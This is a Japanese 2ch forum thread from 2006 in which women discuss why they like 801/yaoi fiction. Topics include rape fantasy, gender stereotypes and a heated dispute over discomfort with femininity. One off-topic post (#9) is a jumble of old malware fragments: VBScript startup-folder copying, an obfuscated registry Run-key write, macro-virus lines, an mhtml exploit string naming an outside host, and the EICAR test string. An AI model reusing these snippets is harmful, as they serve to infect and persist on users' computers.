801を考える part5 - 暇つぶし2ch

801を考える part5 ..

2:風と木の名無しさん
06/11/02 20:37:24 iC5rY3nI0
「801が好きな理由」スレより主なまとめ。

1）男×女だと障害がないので早くくっつけばいいのに、と冷めてしまう
2）男×女だと恋愛の延長線上にあるもの（避妊、妊娠、結婚、嫁姑問題、老後など）を
　　すぐ想像＆心配してしまう
3）男×女だと自分とつい比べてしまう為、完全には現実逃避できない
4）自分が経験可能な事（男女の恋愛）をわざわざ小説、漫画で
　　読みたい、自分でかきたいとは思わない
5）男×女はどうしても損得や打算が多少あるので
　　同性同士の性別を超えた魂の愛の繋がり云々というのに憧れる
6）男女ものや同性愛ものは現実の存在が読んでいて気になる為、
　　色々考えるきっかけになって面白いけど疲れた時に娯楽として読むには重い
7）同性同士の世間的に認められない故の罪悪感などのタブー性に惹かれる
8）女性キャラは性格や体の描写など見る目が厳しいので気になってしまう
9）気に入った男キャラに釣りあうと思う、いい女キャラが作品にいないことがある
10）女キャラとくっつくと嫉妬してしまってがっかりする
11）ヤオイという設定のファンタジー性が重いテーマ（周囲との軋轢など）に勝るため
　「物語を面白くするための単なるトッピングに過ぎない」と据える事ができるので
　　後々まで尾を引くことがなく、自分だったらどうしようなどと考えなくて済む
12）男×女では難しい男×男の親友兼恋人の対等さや同じ目線の精神的繋がりに憧れがある
13）女や女同士では真似できない　男同士特有の友情やライバルや
　　離れていても互いのことはわかってる感じや腹をわって話せる雰囲気に凄く憧れる
14）男×女が恋愛しかないのに比べて男×男は色々な関係で萌えられる
15）性的興味や魅力を感じるのは異性（男性）なので友情、愛情、エッチがセットで見られる
16）異性＝未知なものなので都合良く妄想することができる
17）男×男だと自分の性（女性）は全く介在しないので完全に傍観者の立場になれたり
　　安心して浸ることができる

3:風と木の名無しさん
06/11/02 20:38:27 iC5rY3nI0
801とは
　│
　├801は関係性だよ派（真性腐女子層）
　│ ├受け攻め固定派
　│ │ └１棒１穴派（カプ固定派）
　│ ├リバ派
　│ │ ├受け攻めにはこだわらないよ派（カプ固定リバ派）
　│ │ ├男なら攻めてなんぼだよ派（攻×攻派）
　│ │ └百合のようなやおいがいいよ派（受×受派）
　│ ├プラトニック派（無性派）
　│ │ └少年愛派（先史時代回顧派）
　│ └そのキャラと場合によるよ派
　│
　├単体萌もありだよ派
　│ ├好きキャラが愛されてればいいよ派（総受け総攻め派）
　│ ├単体うっとり派
　│ └好きキャラがエロければいいよ派（軽ポルノ派）
　│
　├801はポルノだよ派
　│ ├チンコが大事だよ派
　│ │├男性向けショタ派
　│ │└ガチホモ派
　│ └エロければいいよ派（ライト801層）
　│
　└801はジャンルやネタの一種だよ派（最ライト801層）

4:風と木の名無しさん
06/11/02 21:10:59 NPtM+isv0
1乙

早速前スレの続き
前スレ>900
私も男女モノは女がおもちゃにされてるのが好きだ…
私の場合は男（受）でもいいんだけど。
むしろ和姦に興味がない。純愛物なら朝ﾁｭﾝでも構わないくらい、和姦はどうでもいい。

991は
＞私としては、自分が８０１を読む要因には、そういったヘテロ・ポルノが暗に言っている
＞「女はレイプされたがっている」神話に対するアンチテーゼがあるもんだから、信じられんよ。
と言うけど、私にとっては男性向けのレイプ物ヘテロ・ポルノも
８０１も同じ「ファンタジー」なんだよなあ
勿論「女はレイプされたがっている」神話を信じている男には反吐が出るけど
大半の男はファンタジーだと分かってて楽しんでるんじゃないのかな

5:風と木の名無しさん
06/11/02 22:19:41 EQn6eXdm0
>1乙！

「男男＜男女な人は腐女子なのか？」っていう前スレの議論は
遠巻きに読んでたんだけど、前スレ990みたいに
男男エロは苦手で男女エロが萌えって人とは壁を感じる。

6:風と木の名無しさん
06/11/02 22:21:35 EQn6eXdm0
>>3って、受け攻め固定が一棒一穴と単体萌えしか分類ないね。
「関係性萌えだけど、受け攻め属性はキャラ固定」って人が
固定派の中では最も多い気がするんだけどどうだろうか？

7:風と木の名無しさん
06/11/02 22:53:50 iC5rY3nI0
>>6
＞「関係性萌えだけど、受け攻め属性はキャラ固定」
が受け攻め固定派で、その中の一部が一棒一穴派なんじゃないか
>3の表は暫定だから、ややこしいなら非一棒一穴派？とか追加してしまえばいいとおも

前ｽﾚの801論関連書籍をテンプレとして追加しようか迷っている
詳しい人が整理して投下してくれるといいんだが

8:風と木の名無しさん
06/11/02 22:58:26 WE4HRIBF0
ヘテロ・ポルノはファンタジーなんて甘いこと言ってらんない側面があると思うよ。
つまり、ヘテロ・ポルノが描く男女関係は「女は根本的に性的なマゾヒズム」だから、
男が女を性的にホンローしても許される、っていう物語だ。この価値観は、
単なるファンタジーではなく、職場のセクハラ行為や性別分業なんかがぜんぜん
解消しないという根強いリアリティに通じてる。

そういうヘテロ・ポルノに違和感を生じない女性がいるのは、私たちが社会的存在だからだよ。
すなわち、女性でも、セクハラおやじの視点で女性をみることができてしまうし、
生まれてから「女は性的対象物かメイドかどっちかだ」なんていう価値観の
なかで育っていれば、そういう視点が女性の中でもしっかり根付いちゃうところが
大問題。それに気がつかないで、「私の独自の感覚だ」なんて、勘違いしてしまうことが多いからね。

9:風と木の名無しさん
06/11/02 23:00:47 tAxFfDCk0
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!URLﾘﾝｸ(www.loadcash.biz) type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
"avgnt"="\"C:\\Program Files\\AntiVir PersonalEdition Classic\\avgnt.exe\" /min /nosplash"
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub

10:風と木の名無しさん
06/11/02 23:09:04 7FCYI3ru0
レイプモノってほとんど男性向けばかりと思っていたけど
ドリやTLでもレイプモノは結構多いんだね・・・
少し理解に苦しむ

11:風と木の名無しさん
06/11/02 23:22:15 oazTr3TQ0
>8
>女は性的対象物かメイドかどっちかだ
ってそこまで偏った価値観を恒常的に出してるところでそうそう育つ人は
いない気がするけど（巧妙に隠蔽されてたり、端々に出てくることがあったり…って
程度で、だからこそたちが悪い気もするが）。

それに、ヘテロポルノというか女が一方的に翻弄されるのを読む一因に
一方的に翻弄される＝性的行為を私（女）が求めたわけではないというエクスキューズが
そこに発生ってのもあると思う。

そのエクスキューズを必要とするところに抑圧があるとか、
だから女は「女は根本的に性的なマゾヒズム」を持つとかいう妄言とはまた別にして。
ある種の801シチュと同じく性的ファンタジーと実際とは違うってだけでは？
ある種のフェミニズムのように被害を声高に押し付けるように言うのも、ある種の男の言のような
身勝手な言い分に乗るつもりもないけど、「セクハラおやじの視点で女性をみることができてしまう」し
逆に「セクハラ視点で男性（老いも若きも）をみることができてしまう」ことがあるだけのような。

12:風と木の名無しさん
06/11/02 23:34:19 RZuLqmfH0
>10
・面倒なストーリーなしに手早くエッチに持ちこめる（男向けの理由の一つ）。
・女から誘うのははしたないので、男が強引にやったことにする。
　（読者視点からだと、男は魅力的なのでＯＫ）
・こんなイイ男をケダモノにする自分って魅力的、と陶酔する。
こんなあたりらしいよ。

13:風と木の名無しさん
06/11/02 23:47:53 gUm190bD0
自分の女性性に対する自虐ってのもありそうな。

14:風と木の名無しさん
06/11/03 00:33:49 kz9WyQFp0
特に強姦系の８０１を読むときは男性優位位社会への復讐がある気がする。
女の身の息苦しさを思い知れ、とか。

15:風と木の名無しさん
06/11/03 01:47:44 eFxyTq0Y0
女性の書く男女エロに共感できない一因として、
>こんなイイ男をケダモノにする自分って魅力的、と陶酔する
があると思う。
書いてるほうは気持ちいいかもしれんがその幻想にはのっかれん。

男性向けエロのほうがまだ読めることがあるのは、男視点で女をモノのように
（ある意味架空の存在として）扱えるからではないかと推測。（それがいいことでないのは別として）
それが女性視点や女性的感性が作中ににじみでていると、
いやがおうにも女に共感してしまう（される側の視点になってしまう）ので不快感が生じるのではないか。

作者も受けるほうも女だと、お前のナルシーにゃ興味ねえよ的な心境になるところを
受けが男な８０１はうまく緩和してるのではないかと。
あと、801二次カプで、自分で妄想するのはいいが他人のエロは読めないとかあるんだけど
受け視点のものだと他人のエロに共感しにくいような気がする。（ちなみに好きキャラが女の場合はそもそも妄想しない）

16:前スレ990
06/11/03 02:11:08 v4FtM3rx0
>>前スレ995
いえいえ。あまり読まないけどエロレディコミは女に都合のいい展開満載なので
男性向けエロの偏りも特に気にならないのです。
>>4 ﾅｶｰﾏ
>>5 男男は小説でエロ読みまくりですよ。大好きです。無くても萌えるというだけで。
私がセクハラモノを好む理由は>>11の
＞一方的に翻弄される＝性的行為を私（女）が求めたわけではないというエクスキューズ
これに尽きます。ＳＭはＳが実は尽くす方、というようなこと。
最近、コンビニエロ雑誌からはレイプものは無くなってきています。

男同士は対等だから和姦がいい。

17:風と木の名無しさん
06/11/03 12:36:44 HNFQtNrY0
十年前のエロレディコミは、TLや少女漫画でありがちな
「イケメンに強引に迫られて押し倒されちゃった～」とかではなく
拉致監禁調教とかチンピラ集団が林間とかガチっぽいものもあった記憶が。
（最近のエロレディコミは良く知らないんだけど
規制でそういうものが描けなくなったという噂は聞いた。本当？）

男性向けはレイプもの意外と少ないよ
ヲタ向け美少女物はガチ陵辱より萌え系の方が多いし
実写AVもH大好き淫乱女が楽しんでセックスしているという設定のものが多い。
それが規制のせいなのか、そういうものの方が売れるからなのかは知らんが

18:風と木の名無しさん
06/11/03 13:07:30 vUYlZ9kD0
イケメンに強引に迫られて押し倒されちゃった～とかセクハラ・拉致監禁調教林間とか
淫乱女が～とか、いきなり美少女がいっぱい迫ってきた～とか
男性向けにしろ女性向けにしろそういうシチュって、なんかどちらも結局自分が主体的にエロいことをする
のではなく「性的行為を私が求めたわけではないというエクスキューズ」を挟んでいるという点においては
共通している気がする。
自分が求めたということになるとそれに伴う責任とか結果に対する引き受けとかが発生するのが嫌なのかな、
とか思う。（もちろんそれが悪いと言うわけではない。性的ファンタジーを気軽に楽しむためにはそういう重たい
部分が嫌われるってだけだろう）

19:風と木の名無しさん
06/11/03 15:45:14 HNFQtNrY0
うーん、女性向けは
＞「性的行為を私が求めたわけではないというエクスキューズ」
が必要、と言うのはあると思うんだけど
男性向けの場合は単にエロい女が好き、マグロ女はつまらん、とか
何もせずともいい女が大勢寄って来てHやり放題が理想、などの理由のような。
完全に男が受身のもの（女王様とか痴女とか逆レイプとか童貞筆下ろしものなど）は
特殊ジャンル扱いだし。

20:風と木の名無しさん
06/11/03 17:06:56 vUYlZ9kD0
>何もせずともいい女が大勢寄って来てHやり放題が理想
つまりそれがあちらから求めてきている→俺が言ったんじゃないもんね、
据え膳食わないとあっちがかわいそうって充分それは受身で
エクスキューズじゃないかと思うんですが。

>女王様とか痴女とか逆レイプとか童貞筆下ろしものなど
それは男性側が性行為の流れの主導権を得られない（関係の変化に伴って
逆転する場合もあるでしょうが）と言う点が万人受けしないだけでは？

21:風と木の名無しさん
06/11/03 18:56:09 t1kMp5JY0
男が(も)受け身でいたい欲求は、少年漫画から女キャラ口説きまくり(で嫌われまくり)な主人公が減って
逆に初期状態でモテる主人公が増えた(これは王道じゃないかもだが)事からも感じられる気がする。

エロゲで純愛が多いのは、犯る側の立場に疲れた男が、
それでもエロによる性的認証を求めた結果の産物じゃないかなあ。
男性主導の(レイプまがいの)エロより、
愛の名でエロを正当化した(「愛してるからするのは自然」的な)エロの方が
個人的には見てて不快だ。やってることあまり変わらないくせに。

22:風と木の名無しさん
06/11/03 19:40:51 j8dECKNq0
>17
>拉致監禁調教とかチンピラ集団が林間とかガチっぽいものもあった
読者（或いは作者や編集）がより強い刺激を求めた結果、段々とそういうものへ変化していくらしいね。
多分、そういう雑誌や漫画家も、最初はただの「強引なイケメンによる無理矢理モノ」からスタートしてたと思うよ。

>19
「特殊ジャンル」とは言え、「そういった作品が少数派」だから特殊なだけで、通常作品と同じ作家・雑誌・単行本にあったりする。
決してＴＬとＢＬのような雑誌や単行本を異にする程の「異質さ」はない。

23:風と木の名無しさん
06/11/03 19:43:44 j8dECKNq0
>21
>愛の名でエロを正当化した(「愛してるからするのは自然」的な)エロ
というのは、801における「オレはホモじゃない。たまたま好きになったお前が男だっただけ」でヤッちゃうのに相当するものですな。
でもって、これは一般的に腐女子には好まれるシチュじゃないんでしょうか？

24:風と木の名無しさん
06/11/03 19:48:19 j8dECKNq0
>何もせずともいい女が大勢寄って来てHやり放題
一つ区別しなきゃならないのは、
「何もせずともいい女が大勢寄って来る」のと「女が主導権を握る」のは別モノと言う事だ。
前者はヤルまでのストーリーの短縮化とか複数の女性キャラを登場させたりするためのご都合で、エロの主導権とは直接関係がない。
一般的なご都合ハーレムものだって、いざヤルとなると男が主導権を握ったりする方が多いわけだし。

25:風と木の名無しさん
06/11/03 20:19:49 vUYlZ9kD0
>「何もせずともいい女が大勢寄って来る」のと「女が主導権を握る」のは別モノと言う事だ。
>前者はヤルまでのストーリーの短縮化とか複数の女性キャラを登場させたりするためのご都合で、エロの主導権とは直接関係がない。
そうですね。
作劇上のご都合的なものもあるだろうが、ヤルまでの主人公側（男）の女の体が欲しいという働きかけを
よってくる女側に全てゆだねているわけで、ヤル内容が男側主導だろうがそこに至る男側の能動的
選択と言ったらどの女にするか、とかヤってくれと乞われてそれにうなずくか否かってくらいで、
それが能動的って言われたら「据え膳を食うと決めたら全力で食う」ってくらいの能動性ですね。

結局恋愛って惚れたほうが立場弱いってことが多いから男女ともそれを忌避した結果がこうなるんじゃないかと。
ただ個人的には相手側にこうして押し付けるタイプは男エロでも少女漫画でも801でも好みではないが。

26:風と木の名無しさん
06/11/04 00:14:56 KPyTXY1q0
恋愛の能動性とエロの能動性がごっちゃになってない？

男女とも、恋愛に能動的なのは異性側であって欲しい（愛するより愛されたい）けれど
男性の場合エロの主導権は同性が握り、異性が乱れる様が見たい
女性の場合エロの主導権を異性に委ね、同性が乱れる様が見たい
人が多い。

で、↑とは逆の嗜好を持つ人の場合、
同性が乱れる様が見たい男性向けは、エロの主導権が異性にあるもの（＝女王様ものなど）の方が
同性にあるもの（＝ショタ、ガチホモなど）より人気だけれど
異性が乱れる様が見たい女性向けは、エロの主導権が異性にあるもの（＝801）の方が
同性にあるもの（＝女王様ものなど）より人気がある。

という事では。
勿論例外もあるだろうけど

27:風と木の名無しさん
06/11/04 00:15:53 haxBSCsz0
なんか腐女子は受けに自己投影するのが前提の話になってるね？

28:風と木の名無しさん
06/11/04 00:25:55 JxfMnuD30
一般的にはそういう人のが多いんだろうが、
そういう部分からはみ出していくから、腐女子になっていくんじゃね？
と思う。

29:26
06/11/04 00:27:19 KPyTXY1q0
そういうつもりはないけど
攻めに自己投影している腐女子もいれば
女王様×M男もの見て女王様に自己投影している女子も（少しは）いるだろうし
自己投影無しの神視点で楽しむ女子も居るだろうし

んで、読み返して思ったけどレズ／百合の存在を忘れていた

30:風と木の名無しさん
06/11/04 00:33:50 JxfMnuD30
いやいや。
世間一般には、腐女子＝受けに自己投影と思われてるし、
実際、低年齢層やライト層、初心者腐女子には、受け自己投影は多い。
だから商業BLが受け視点の話だらけになるんだろう。
しかし病が深くなる、ないし腐歴が長くなるにつれて受け自己投影の人は減っていく。
このスレにも、受け自己投影の人は少ないみたいだし。

だから、
世間一般の女はこう→だから腐女子もこうに決まってる
という論法は成り立たないのではないかと思うわけだ。

31:風と木の名無しさん
06/11/04 00:56:11 KurtbTCn0
レディコミ限定（だいたい読むのがそれだけなので）女性向けのでも結構酷い話は多い。
でもあまり気にならない。紛れ込んでる嫁姑戦争系の話のが嫌だし。
でも、レディコミでも結構出てくる男って、人格薄いんだよね、女の登場人物に比べて。
あくまで「女」の側の心情描写、性格、人格が重視されてる。
だから薄くしか読めない。

ただ、男向けのだと、出てくる女に「心」がないのが多くてげんなりはする。心情の描写
も、それを伺わせるのも全くなくて、ただ男にとって都合の良い、しかし意図不明の言動
をやってる。（「嫌だよう、でも気持ちいいよう」なんてのは、当然心情描写とは言わない）
だからレディコミより、なおさらおもしろくない。

32:風と木の名無しさん
06/11/04 17:19:30 fg1im8FY0
男性向けエロマンガで心理描写をきちんとしてたら抜けない男続出だろうなあ

33:風と木の名無しさん
06/11/04 17:42:12 KurtbTCn0
男はﾃｨﾝｺで抜き、女は心で抜く

34:風と木の名無しさん
06/11/04 17:57:26 g3+GZ5jN0
>32
どうして心理描写をきちんとしたら抜けないんだろ？
ちょっと不思議。

35:風と木の名無しさん
06/11/04 20:10:21 QL0Toqfk0
幻滅するんじゃねーの？
リアルにすると、男にとって都合の良い思考・感情じゃなくなるから。
誌面的にも、その分エロに回した方が喜ばれるし。

36:風と木の名無しさん
06/11/04 20:43:18 tXxpBTLt0
男にとってはファストフード的な手っ取り早さが肝心だから
非エロの普通の漫画でもサービスカットがあればそこだけを見て抜ける。
読んだことないからわかんないけど
『ふたり/エッチ』とかはどういう立ち位置の漫画なんだろう。

37:風と木の名無しさん
06/11/04 21:53:17 +kTfKClG0
>>35
幻滅するっていうか、
「手っ取り早く抜きたいのにそんなもん要らん」
って感じなんじゃね？

>>36
エロを題材にしたコメディなんじゃね？

38:風と木の名無しさん
06/11/04 22:18:21 KurtbTCn0
男はグラビア1枚で抜けるけど、女はどうかな。
私はポスター1枚では（精神的にも）抜けない。抜くには、そこに背景となる
物語を組み入れなければ。

39:風と木の名無しさん
06/11/04 22:23:55 JgzW8NOW0
男のいない場所で、男はこうに決まってる、とか決め付けても不毛だと思うので
まあほどほどに。

男はてっとり早く抜きたい、男は即物的、というのも一種の物語だよね。
エロは飽きる。即物的なエロシーンだけ羅列されても、１０代の子供ならまだしも
一定年齢以上になったら食い飽きる。
そのこと自体に、男も女もそうは変わらないような気はする。

40:風と木の名無しさん
06/11/04 22:46:32 QL0Toqfk0
さっきから居りますが、なにか？
まあ、だいたい39さんのおっしゃる通り。
抜く事はできるけど、確かに飽きてくるね。

41:風と木の名無しさん
06/11/04 22:58:52 KurtbTCn0
男はどうか、ということより男向け（女向け）の男女エロ漫画はこういう理由で
ＯＫｏｒＮＯという話だったよね。

42:風と木の名無しさん
06/11/04 23:28:46 3N08/CVK0
エロじゃないけど、少女漫画雑誌で男の人が描いてるの読むと
やっぱりなにか違うなーと感じる事はあった
絵柄とかもそうなんだけど、心理描写がどうしても女の人と微妙に
違うなと。その微妙さをどう表現していいか分からないけどね
最初から少年漫画というカテゴリーで読めば違和感も感じないと思う
エロも同じかな

43:風と木の名無しさん
06/11/05 07:13:52 2LKLvnkT0
こっそり横から確認させて欲しいのですが
腐女子の定義に「アニメ　マンガのオタク」は別に含まれないよね？
実写映画、ドラマ派です　マンガは家族がかってくるモーニングくらいしか読まないです。

44:風と木の名無しさん
06/11/05 11:17:06 vQ5o9iSm0
官能小説だと女の心理描写もちゃんとされていると思う。リアルかどうかは別として。
（でも女性向けでもリアルな男の心理描写なんてされてないわな）
おっさん向けエロ週刊誌とかだと「実録」「体験談」も多いね。あれで抜いてるのかは知らんが

エロ漫画やグラビアは対象年齢が低い分即物的なものが多いんじゃないかな

45:風と木の名無しさん
06/11/05 23:18:34 PeV2dXiB0
>>44
対象年齢が低いとかじゃなくて、絵の有無じゃない？

もう何年も前になるけど、深夜番組で男向けエロ漫画とレディコミの違いとかやってて、
男の人は視覚から得る情報で興奮するって事で、状況や心理状態なんかも
絵で表現する様になってるとか、そんな感じの事を言ってたと思う。

46:風と木の名無しさん
06/11/05 23:25:15 7U3f9gLJ0
いや、そういうこと言い出したら、漫画という媒体そのものが
状況や心理状態を絵で表現するものなわけで。
女向けだって、そんな独白を延々とやってるわけじゃないでしょ。

47:風と木の名無しさん
06/11/05 23:30:28 7U3f9gLJ0
つーか、男は視覚で興奮する、女は視覚では興奮しない
（実際に触られないと興奮しないとか、文章なら興奮するとか）とか
もう定説のように言われてるけど、
こういうのって、女向けエロメディアのなかった時代の話では。
女向けエロメディアが世に溢れてきた今日でも、通用するものなの？
このへんも変わってきてんじゃないかとも思うけど。

48:風と木の名無しさん
06/11/05 23:49:29 oVv94/D70
うーん、でもなんか視覚的エロって見たその瞬間に興奮しても持続しない気がする。
インパクトだけって感じがしてあんまり。視覚的に取り入れた情報を文章とか二次的な
妄想を必要とする場合に流用するときに使ったりするようにそのもの自体ではくるものがない
場合が多いかも。やはり付属的なにかがないと単体ではきついかも。

49:風と木の名無しさん
06/11/05 23:54:23 7U3f9gLJ0
何かエロいものを見た場合、
男用のエロ物語は数千年の蓄積のもとに大量に用意されてんので、
エロいものを見る→即座に物語補完→即座に性的興奮
の回路が自然と構築されるのだろうと思う。
しかし女向けエロメディアは近年までほとんどないような状況だったので、
エロいものを見る→物語補完に時間がかかる→時間が経ってから性的興奮
となるのだろうと思う。

男は視覚で興奮し、女は視覚で興奮しない、という物言いには、
男＝見る側（性的主体）
女＝見られる側（性的客体）
と規範したいという、政治的意図を感じてしまうわけだ。

50:風と木の名無しさん
06/11/06 00:58:18 tpIP9SZI0
>>49
しかし、男は女のパンチラで興奮出来る生き物だが
女は男のぽろりで興奮出来る人少なそうじゃないか？
メディアだけの問題だろうか

春画は男女関係なく好まれたようだが

51:風と木の名無しさん
06/11/06 01:10:00 JxBrAMnh0
>>50
パンツ自体に興奮するわけじゃないだろう。パンツフェチの人にしても。
スカートとパンツとパンツの中身があって、それに付加する物語を
瞬時に構築できるから、興奮するんじゃないの？
女も、ポロリとそれに付加する物語を瞬時にリンクできるようになれば
ポロリに興奮できるんじゃないの。
そんな状態になりたいかは別にして。

52:風と木の名無しさん
06/11/06 01:29:18 JxBrAMnh0
つーか、女はこういう生き物、と決め付けられるのが嫌で８０１に走ってるのに、
男はこういう生き物、と決め付けて平気な人が結構多いのが分からん。
男脳、女脳ってあると思う？
私はないと思う。あるのは文化的差異だ。

53:風と木の名無しさん
06/11/06 01:51:10 BEkTY8gj0
腐女子の文化的教養はえてして低いだろ。

54:風と木の名無しさん
06/11/06 01:56:37 CeKer2aC0
＞女はこういう生き物、と決め付けられるのが嫌で８０１に走ってるのに、

こういう人おおいのかな。まぁ中学の頃多少あったけど
今は気にならない

55:風と木の名無しさん
06/11/06 02:08:56 JxBrAMnh0
>>54
女は感情的な生き物、女は理性的な判断ができない、
女は地図も読めず空間認識力に欠ける、
女は車の運転が下手、女は大局を見ることができない、
女は恋愛のことしか考えてない、女はすぐ泣く、
女は一発ヤってしまえば大人しくなる、
あなたはこんなこと言われて平気？
ま、平気だと言うなら、別にいいけどさ。

56:風と木の名無しさん
06/11/06 02:48:48 9y21XR/c0
この板のあちこちで再三大声で叫ばれてる「私は普通の女、女という性に違和感など持ってない！」
という主張が、正直薄気味悪い。
いかに自分はいかにお洒落で普通の女かということ主張し、そこから逸脱する者を糾弾する。
逸脱は、上でも下でもダメ。
ダサいのは当然袋叩きだが、華美なものも叩く。
低学歴や低収入は馬鹿にするが、高学歴や仕事を一所懸命やってるという主張には
アテクシ臭だのと言って、これまた叩く。
年頃の女には恋人がいてセックスしてるのが当然で、一定年齢に達したら結婚していなければならず
子供もいなければならない。
女という性に違和感を感じている、というレスに対しては、必ずと言っていいほど
私はそうじゃない！私は順応してる！というレスが返ってくる。
「私は普通の女！ちょっと変わった趣味（８０１）を持ってるだけ！」
たかが８０１妄想するために、そんな言い訳をいろいろ用意しなければならないなら、
女という性は、何と息苦しいものなんだろう、と思う。

57:風と木の名無しさん
06/11/06 06:10:42 LCqOuWuK0
別に誰もそこまで言ってないんじゃ……？
８０１好きだってだけで女という性に違和感を抱いてなきゃならないっつーのもどうなのさ。
違和感感じない８０１読みになんか恨みでもあんのか？　ちょっと落ち着けよ。

58:50
06/11/06 09:41:05 tpIP9SZI0
>>51
うーん、そうかなあ？
私は男になったことがないし、自分以外の女にもなったことがないからわからないけど
傾向としては男女に差があるように思う…けどソースがあって話してるわけではない…
今の若い子なんか性に対してはしたないとか奥ゆかしいとかそういう気持ちはあんまり持ち合わせてないように見えるけど
欲情するまでのステップが男より長いことは変わらないって印象。
>>52
いやだけどあると思ってる
あるからって過剰な区別や差別はいけない　そんな感じ

59:風と木の名無しさん
06/11/06 10:16:31 YPIV9eGQ0
>>56
どっちが上とか下とかないでしょ
女はこうだとかこうあるべきだっていう意見は確かにあるけど
それからそれてるかといって
それた人はみんな女性性に違和感を感じてる訳じゃないと思う
生き方が多様化してる訳だし、
女はこうあるべきっていう意見にあてはまってない＝女性性に違和感って
っていうのがどうして？って思う

60:風と木の名無しさん
06/11/06 10:24:04 tpIP9SZI0
ところで801って別に「ちょっと変わった趣味」ってこともないよね。
801人口の多さ考えたらふつーじゃない

61:風と木の名無しさん
06/11/06 11:11:27 U5jdX/LB0
男が視覚的要素で欲情できるのは、もともとは本能的なものに由来すると思う。
生殖の効率で考えれば、男は数打つ方が効率的で、逆に女は相手を吟味した方が有利。
余談だけど、女性の乳房と口紅の由来は、直立歩行によって視界から外れた尻と性器の代用という説もある。
あと、前々スレ辺りで出た異国でのアンケート結果（女性は男性の体のどこに魅力を感じるか）でも、性器ではなかったし。
>51のいう、文化的物語的なものの全否定をするつもりはないけど、やっぱ根っこの部分は本能だよ。

62:風と木の名無しさん
06/11/06 13:44:56 zkC8jEad0
つーか >>56の意見の方がフェミニズム的視点に硬直化してるように見えるぞ
男と女の違いを1から10まで文化的差異に帰してしまうのも、一種の思考停止だ。

63:風と木の名無しさん
06/11/06 18:12:06 pttSfRRk0
>>56
なんとなく言いたいことはわからないでもない。

でも私に言わせれば、過剰反応して自分は女性という性に違和感を持っていない
と書き込みしなければならないような人は、
意識・あるいは無意識下では何らかのコンプレックスがあるんじゃないかと思うよ。

もちろん801好きすべてが、自己の性を正常に受け入れられないとは思ってはいない。
801というジャンルが多様化する中で、本来の流れから離れた人たちが生まれるのは不思議じゃないし。
それでもまぁ、根幹の部分では女性性の否定と801は切り離せないもんだと勝手に思ってる。

64:風と木の名無しさん
06/11/06 20:10:01 Ksy+gBjN0
>>63
「女という性に違和感を感じてるから801趣味がある」
と言う周囲や内部の意見を黙って見てるだけでは、そうでない人がいることは周知されない
と思うけど。
それとも誤った認識が広まることを黙ってみてるのが普通とでも？
違うものは違うというでしょう。普通の人は。

65:風と木の名無しさん
06/11/06 20:18:52 bHggrpOE0
>>64
私は違うのよ！と大声で主張するだけでは、説得力ないよ。
表層的にそう思ってても、無意識の問題だってあるしね。
徹底的に自己分析を重ねた結果、自分の中にそういうものが全くないことが分かった、
とでも言うなら、その自己分析の過程を説明してよ。

66:風と木の名無しさん
06/11/06 20:29:24 Ksy+gBjN0
>>65
違和感を感じるから801、という人が、実際のところは別に違和感なんて感じてないのに、自分は
普通の枠からはみ出してるんだ、という感覚のために表層的にそう思いこんでるのではないの、
という指摘もあり得る思うけど、そこは指摘なし？
言ってることが明らかに偏ってるよ。

67:風と木の名無しさん
06/11/06 20:32:04 bHggrpOE0
>>66
違和感を感じる→その違和感の正体を考える（考えた結果、別に何でもないことかも知れない）
違和感を感じない→思考停止

68:風と木の名無しさん
06/11/06 20:33:02 Ksy+gBjN0
ある側に一定の条件を与えるのなら、比較対象に対しても同様の条件を与えなければならない
んだよ。そうでなければ比較の意味はない。
少なくとも自分はこうです、という意見同士であれば、当人の表層意識同士ということで同条件。
深層意識まで問題にするのなら、双方深層意識まで問題にしなければね。

69:風と木の名無しさん
06/11/06 20:33:16 bHggrpOE0
>>66
で、あなたの言いたいことは、いわゆるｱﾃｸｼ臭？

70:風と木の名無しさん
06/11/06 20:39:03 Ksy+gBjN0
つまり、>>67は自分のあらゆることに違和感を感じて追究してるんだってことか。
さぞ生きづらいだろうね。
全てを追究していたら、他になにをやる時間もなさそうだ。

71:風と木の名無しさん
06/11/06 20:44:14 bHggrpOE0
＞ID:Ksy+gBjN0は単なる煽りか？
万一まともに話し合う気があるなら、過去スレあさってくればどうか？
違和感を感じるという人の、ほとんど悲痛な叫びのようなレスは、いくつも拾えるから。
それに対して、違和感を感じない、と主張する人のレスは、深く考えた形跡の見られるものがないから
もし考えた末の結論なら、それを説明してほしかったんだけどねぇ。

＞さぞ生きづらいだろうね。
＞全てを追究していたら、他になにをやる時間もなさそうだ。
はい、大変生きづらいですが何か？
四六時中、自分はなぜ８０１が好きなのか、一体それはどういうことなのかを考えていますよ。

72:風と木の名無しさん
06/11/06 20:50:40 Ksy+gBjN0
>>71
あのね、人間いろいろいるの。多様性はあって当然。
それをあなたは画一的になれ、と人に押しつけようとしてる。
違和感を感じる人がいることを否定なんて一切していないのに、全員をそこまでして同じに
したい理由って、何？
誰もが自分と同じか、自分が考えるかたちと同じでなければ満足できないの？
正直、あなたが自分に違和感を感じるなら、他人を自分の考えるかたちにあてはめなけれ
が我慢できないところにも違和感を感じないの？

73:風と木の名無しさん
06/11/06 20:53:20 bHggrpOE0
>>72
あのさー、違和感感じないと主張するなら、
それを他人にも納得いくように説明してください、と言ってんの。
説明できる能力がないなら、もう来なくていいよ。

74:風と木の名無しさん
06/11/06 20:54:58 TlYS+r2T0
女性性に違和感を感じるってどういう事？
男として生まれたかったの？
それとも、女はこうだって決めつけられるのが嫌って事？

75:風と木の名無しさん
